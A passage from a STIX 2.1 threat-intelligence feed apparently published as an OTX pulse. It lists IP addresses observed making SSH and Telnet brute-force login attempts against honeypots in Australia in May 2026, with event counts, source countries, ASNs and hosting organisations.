      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T02:15:10.000Z",
      "valid_until": "2026-06-06T02:15:08.000Z"
    },
    {
      "created": "2026-05-05T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--a6969a7e-c924-4fc0-bd7c-f8cb85d58587",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '147.135.97.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T02:15:10.000Z",
      "valid_until": "2026-06-06T02:15:08.000Z"
    },
    {
      "created": "2026-05-05T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--7cbf464b-caa7-459c-ad04-14a093c77dd9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '148.113.190.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T02:15:10.000Z",
      "valid_until": "2026-06-06T02:15:08.000Z"
    },
    {
      "created": "2026-05-05T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 35916. Organisation(s): MULTACOM CORPORATION.",
      "id": "indicator--8afd8871-9f79-4411-ad0b-1dc56743dbe7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '148.135.74.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T02:15:10.000Z",
      "valid_until": "2026-06-06T02:15:08.000Z"
    },
    {
      "created": "2026-05-05T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 63199. Organisation(s): CDS Global Cloud Co., Ltd.",
      "id": "indicator--42ffd322-d985-4c29-800e-019d655046ca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '148.153.245.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T02:15:10.000Z",
      "valid_until": "2026-06-06T02:15:08.000Z"
    },
    {
      "created": "2026-05-05T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--41db693e-b953-4a7d-8c63-b02895ec7221",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '149.56.241.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T02:15:10.000Z",
      "valid_until": "2026-06-06T02:15:08.000Z"
    },
    {
      "created": "2026-05-05T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 19624. Organisation(s): Data Room, Inc.",
      "id": "indicator--8b6762a3-a773-485b-bb9e-3e51ab813ed2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '162.244.81.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T02:15:10.000Z",
      "valid_until": "2026-06-06T02:15:08.000Z"
    },
    {
      "created": "2026-05-05T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 18229. Organisation(s): CtrlS.",
      "id": "indicator--6ddc15ae-9c5e-4cef-99e8-7d95904b8f45",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '163.223.54.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T02:15:10.000Z",
      "valid_until": "2026-06-06T02:15:08.000Z"
    },
    {
      "created": "2026-05-05T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MD. ASN(s): 200019. Organisation(s): Alexhost Srl.",
      "id": "indicator--c2f29a70-11df-4777-8009-73650d1f05d6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.123.2.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T02:15:10.000Z",
      "valid_until": "2026-06-06T02:15:08.000Z"
    },
    {
      "created": "2026-05-05T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MD. ASN(s): 200019. Organisation(s): Alexhost Srl.",
      "id": "indicator--5eefc526-a054-49e0-8174-7941a7d669dd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.125.243.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T02:15:10.000Z",
      "valid_until": "2026-06-06T02:15:08.000Z"
    },
    {
      "created": "2026-05-05T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services.",
      "id": "indicator--a22ec6e7-f789-4261-ba22-e12aa9537dbe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '182.69.178.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T02:15:10.000Z",
      "valid_until": "2026-06-06T02:15:08.000Z"
    },
    {
      "created": "2026-05-05T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 203443. Organisation(s): Indert Connection Lp.",
      "id": "indicator--e8297bbc-3c0a-4bfa-9d7e-3acec61e0dae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.134.49.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T02:15:10.000Z",
      "valid_until": "2026-06-06T02:15:08.000Z"
    },
    {
      "created": "2026-05-05T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MK. ASN(s): 57374. Organisation(s): Company for communications services A1 Makedonija DOOEL Skopje.",
      "id": "indicator--ae962116-4278-4408-b4fe-e6e2989393a3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '188.44.20.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T02:15:10.000Z",
      "valid_until": "2026-06-06T02:15:08.000Z"
    },
    {
      "created": "2026-05-05T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa.",
      "id": "indicator--70c60d80-bcf9-4af3-a46d-ad14b9f088e3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.210.194.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T02:15:10.000Z",
      "valid_until": "2026-06-06T02:15:08.000Z"
    },
    {
      "created": "2026-05-05T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CZ. ASN(s): 204957. Organisation(s): Green Floid LLC.",
      "id": "indicator--d1e0d01c-da8e-490a-8109-ac03fff204bb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '195.123.245.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T02:15:10.000Z",
      "valid_until": "2026-06-06T02:15:08.000Z"
    },
    {
      "created": "2026-05-05T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 32475. Organisation(s): Internap Holding LLC.",
      "id": "indicator--9bc1ec10-1760-4129-a277-76a415e37e5a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.20.127.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T02:15:10.000Z",
      "valid_until": "2026-06-06T02:15:08.000Z"
    },
    {
      "created": "2026-05-05T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 28458. Organisation(s): IENTC S DE RL DE CV.",
      "id": "indicator--709ceb03-7cb5-4e66-9295-f2d461c2fedd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '206.135.38.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T02:15:10.000Z",
      "valid_until": "2026-06-06T02:15:08.000Z"
    },
    {
      "created": "2026-05-05T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 272786. Organisation(s): X99 INTERNET.",
      "id": "indicator--c3aa032f-a3cc-4fb2-91f5-2fe09308c931",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '209.14.89.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T02:15:10.000Z",
      "valid_until": "2026-06-06T02:15:08.000Z"
    },
    {
      "created": "2026-05-05T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AU. ASN(s): 7545. Organisation(s): TPG Telecom Limited.",
      "id": "indicator--790c0e2b-dcc0-4588-960a-2c0dc9aad345",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '210.84.27.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T02:15:10.000Z",
      "valid_until": "2026-06-06T02:15:08.000Z"
    },
    {
      "created": "2026-05-05T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VG. ASN(s): 215224. Organisation(s): NovoServe B.V..",
      "id": "indicator--e035a2dc-c9ae-4f4d-b63d-cefecadf8a6a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.148.147.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T02:15:10.000Z",
      "valid_until": "2026-06-06T02:15:08.000Z"
    },
    {
      "created": "2026-05-05T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 24940. Organisation(s): Hetzner Online GmbH.",
      "id": "indicator--53073aa2-7367-4634-97f1-14a05fa8572c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '46.4.63.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T02:15:10.000Z",
      "valid_until": "2026-06-06T02:15:08.000Z"
    },
    {
      "created": "2026-05-05T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 9299. Organisation(s): Philippine Long Distance Telephone Company.",
      "id": "indicator--a78f63de-a422-4693-8f3d-745b7c1b2505",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '49.149.139.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T02:15:10.000Z",
      "valid_until": "2026-06-06T02:15:08.000Z"
    },
    {
      "created": "2026-05-05T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--f3edf215-26fb-433e-95db-63cd0c2af2df",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '51.161.192.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T02:15:10.000Z",
      "valid_until": "2026-06-06T02:15:08.000Z"
    },
    {
      "created": "2026-05-05T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--237a87ec-a720-4fa3-8671-55094da4c995",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '51.210.15.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T02:15:10.000Z",
      "valid_until": "2026-06-06T02:15:08.000Z"
    },
    {
      "created": "2026-05-05T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 32475. Organisation(s): Internap Holding LLC.",
      "id": "indicator--28133324-f681-4f20-8ee0-8b162a04fe37",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '65.60.61.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T02:15:10.000Z",
      "valid_until": "2026-06-06T02:15:08.000Z"
    },
    {
      "created": "2026-05-05T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 35916. Organisation(s): MULTACOM CORPORATION.",
      "id": "indicator--5bcf1c41-4b5e-40ce-a15d-7afd23c3dc89",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '74.48.65.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T02:15:10.000Z",
      "valid_until": "2026-06-06T02:15:08.000Z"
    },
    {
      "created": "2026-05-05T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 33984. Organisation(s): Surfplanet GmbH.",
      "id": "indicator--6a53848a-6f10-4aeb-902c-c2282ac1328f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '78.111.67.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T02:15:10.000Z",
      "valid_until": "2026-06-06T02:15:08.000Z"
    },
    {
      "created": "2026-05-05T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 33984. Organisation(s): Surfplanet GmbH.",
      "id": "indicator--b5c8abbc-b207-4352-a19e-0a8321a0df08",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '78.111.75.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T02:15:10.000Z",
      "valid_until": "2026-06-06T02:15:08.000Z"
    },
    {
      "created": "2026-05-05T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 40676. Organisation(s): Psychz Networks.",
      "id": "indicator--8ed27b00-18b0-4bb7-a2e1-b0e126f68cf5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '108.181.177.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T03:15:10.000Z",
      "valid_until": "2026-06-06T03:15:08.000Z"
    },
    {
      "created": "2026-05-05T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 17639. Organisation(s): Converge ICT Solutions Inc..",
      "id": "indicator--54ec5730-3ac6-4fca-a72f-6ef0701994ac",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '136.158.103.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T03:15:10.000Z",
      "valid_until": "2026-06-06T03:15:08.000Z"
    },
    {
      "created": "2026-05-05T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--1dc0cf9e-dee3-47b3-955a-2ba1946f72f9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '141.94.94.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T03:15:10.000Z",
      "valid_until": "2026-06-06T03:15:08.000Z"
    },
    {
      "created": "2026-05-05T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--317594ae-cc49-4624-bd36-b8fce1d628ee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '141.95.34.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T03:15:10.000Z",
      "valid_until": "2026-06-06T03:15:08.000Z"
    },
    {
      "created": "2026-05-05T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t. Passwords observed (masked): Q******1.",
      "id": "indicator--686cfc16-e23d-4751-abbd-d93bec1c847a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.198.62.180']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T03:15:10.000Z",
      "valid_until": "2026-06-06T03:15:08.000Z"
    },
    {
      "created": "2026-05-05T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 5650. Organisation(s): Frontier Communications of America, Inc..",
      "id": "indicator--a013eebe-c7ab-4b50-8037-fd884fe5837b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '184.18.237.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T03:15:10.000Z",
      "valid_until": "2026-06-06T03:15:08.000Z"
    },
    {
      "created": "2026-05-05T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PY. ASN(s): 23201. Organisation(s): Telecel S.A..",
      "id": "indicator--c63ba86c-bb6b-4683-b0e5-7f8b070d1885",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.2.196.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T03:15:10.000Z",
      "valid_until": "2026-06-06T03:15:08.000Z"
    },
    {
      "created": "2026-05-05T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 250. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 262875. Organisation(s): IP AMERICA TELECOM LTDA. Usernames observed (masked): r**t, u**r, 3**********4, a***********r, e****r. Passwords observed (masked): **, 1****8, 1*****7, 1******t, 1*******#.",
      "id": "indicator--f80fb6e9-b779-44f9-a05c-ff69f9df81fe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '189.113.47.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T03:15:10.000Z",
      "valid_until": "2026-06-06T03:15:08.000Z"
    },
    {
      "created": "2026-05-05T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CH. ASN(s): 6730. Organisation(s): Sunrise GmbH.",
      "id": "indicator--68a8ebea-da06-46ba-ba5a-556ed8b40052",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '194.230.160.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T03:15:10.000Z",
      "valid_until": "2026-06-06T03:15:08.000Z"
    },
    {
      "created": "2026-05-05T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 198584. Organisation(s): PIO-Hosting GmbH.",
      "id": "indicator--b7c737b8-80ec-4419-b273-55d398b3eded",
      "labels": [
        "bruteforce"
      ],
